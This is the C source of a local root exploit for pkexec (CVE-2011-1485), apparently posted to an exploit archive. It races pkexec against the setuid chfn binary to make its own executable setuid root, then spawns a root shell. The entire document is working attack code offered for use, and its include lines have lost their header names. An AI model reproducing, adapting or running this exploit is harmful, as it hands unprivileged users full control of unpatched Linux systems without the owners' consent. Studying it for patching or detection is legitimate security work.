/* * Exploit Title: pkexec Race condition (CVE-2011-1485) exploit * Author: xi4oyu * Tested on: rhel 6 * CVE : 2011-1485 * Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~ ¡Á U can reach us @ http://www.wooyun.org :) */ #include #include #include #include #include #include #include #include #include #include #include int main(int argc,char *argv[], char ** envp) { time_t tim_seed1; pid_t pid_seed2; int result; struct stat stat_buff; char * chfn_path = "/usr/bin/chfn"; char cmd_buff[4096]; char * pkexec_argv[] = { "/usr/bin/pkexec", "/bin/sh", "-c", cmd_buff, NULL }; int pipe1[2]; int pipe2[2]; int pipe3[2]; pid_t pid,pid2 ; char * chfn_argv[] = { "/usr/bin/chfn", NULL }; char buff[8]; char read_buff[4096]; char real_path[512]; struct termios termios_p; int count = 0; int flag = 0; int usleep1 = 0; int usleep2 = 0; bzero(cmd_buff,4096); bzero(real_path,512); realpath(argv[0],real_path); tim_seed1 = time(NULL); pid_seed2 = getpid(); srand(tim_seed1+pid_seed2); //get terminal attr tcgetattr(0,&termios_p); snprintf(cmd_buff,4095,"/bin/chown root:root %s; /bin/chmod 4755 %s",real_path,real_path); // printf("Cmd line:%s",cmd_buff); if(! geteuid()){ //Succs => r00t! char * exec_argv[2]={ "/bin/sh", NULL }; setuid(0); setgid(0); execve("/bin/sh",exec_argv,0); perror("execve shell"); exit(-1); } printf("pkexec local root exploit by xi4oyu , thx to dm\n"); if(pipe(pipe1)){ perror("pipe"); exit(-2); } for(count = 500; count && !flag; count--){ // printf("Count %d\n",count); pid = fork(); if( !pid ){ // Parent if( !pipe(pipe2)){ if(!pipe(pipe3)){ pid2 = fork(); if(!pid2){ // Parent 2 close(1); close(2); close(pipe1[0]); dup2(pipe1[1],2); dup2(pipe1[1],1); close(pipe1[1]); close(pipe2[0]); close(pipe3[1]); write(pipe2[1],"\xFF",1); read(pipe3[0],&buff,1); execve(pkexec_argv[0],pkexec_argv,envp); perror("execve pkexec"); exit(-3); } close(0); close(1); close(2); close(pipe2[1]); close(pipe3[0]); read(pipe2[0],&buff,1); write(pipe3[1],"\xFF",1); usleep(usleep1+usleep2); execve(chfn_argv[0],chfn_argv,envp); perror("execve setuid"); exit(1); } } perror("pipe3"); exit(1); } //Note: This is child, no pipe3 we use poll to monitor pipe1[0] memset(pipe3,0,8); struct pollfd * pollfd = (struct pollfd *)(&pipe3); pollfd->fd = pipe1[0]; pollfd->events = POLLRDNORM; if(poll(pollfd,1,1000) < 0){ perror("poll"); exit(1); } if(pollfd->revents & POLLRDNORM ){ memset(read_buff,0,4096); read(pipe1[0],read_buff,4095); if( strstr(read_buff,"does not match")){ usleep1 += 500; usleep2 = rand() % 1000; }else{ usleep1 -= 500; } } if(!stat(real_path,&stat_buff)){ if(!stat_buff.st_uid){ if(!stat_buff.st_gid){ if(stat_buff.st_mode & 0x800){ char *exec_array[]={ real_path, NULL }; flag = 1; tcsetattr(0,2,&termios_p); execve(real_path,exec_array,0); perror("execve self"); exit(1); } } } } tcsetattr(0,2,&termios_p); } result = 0; return result; }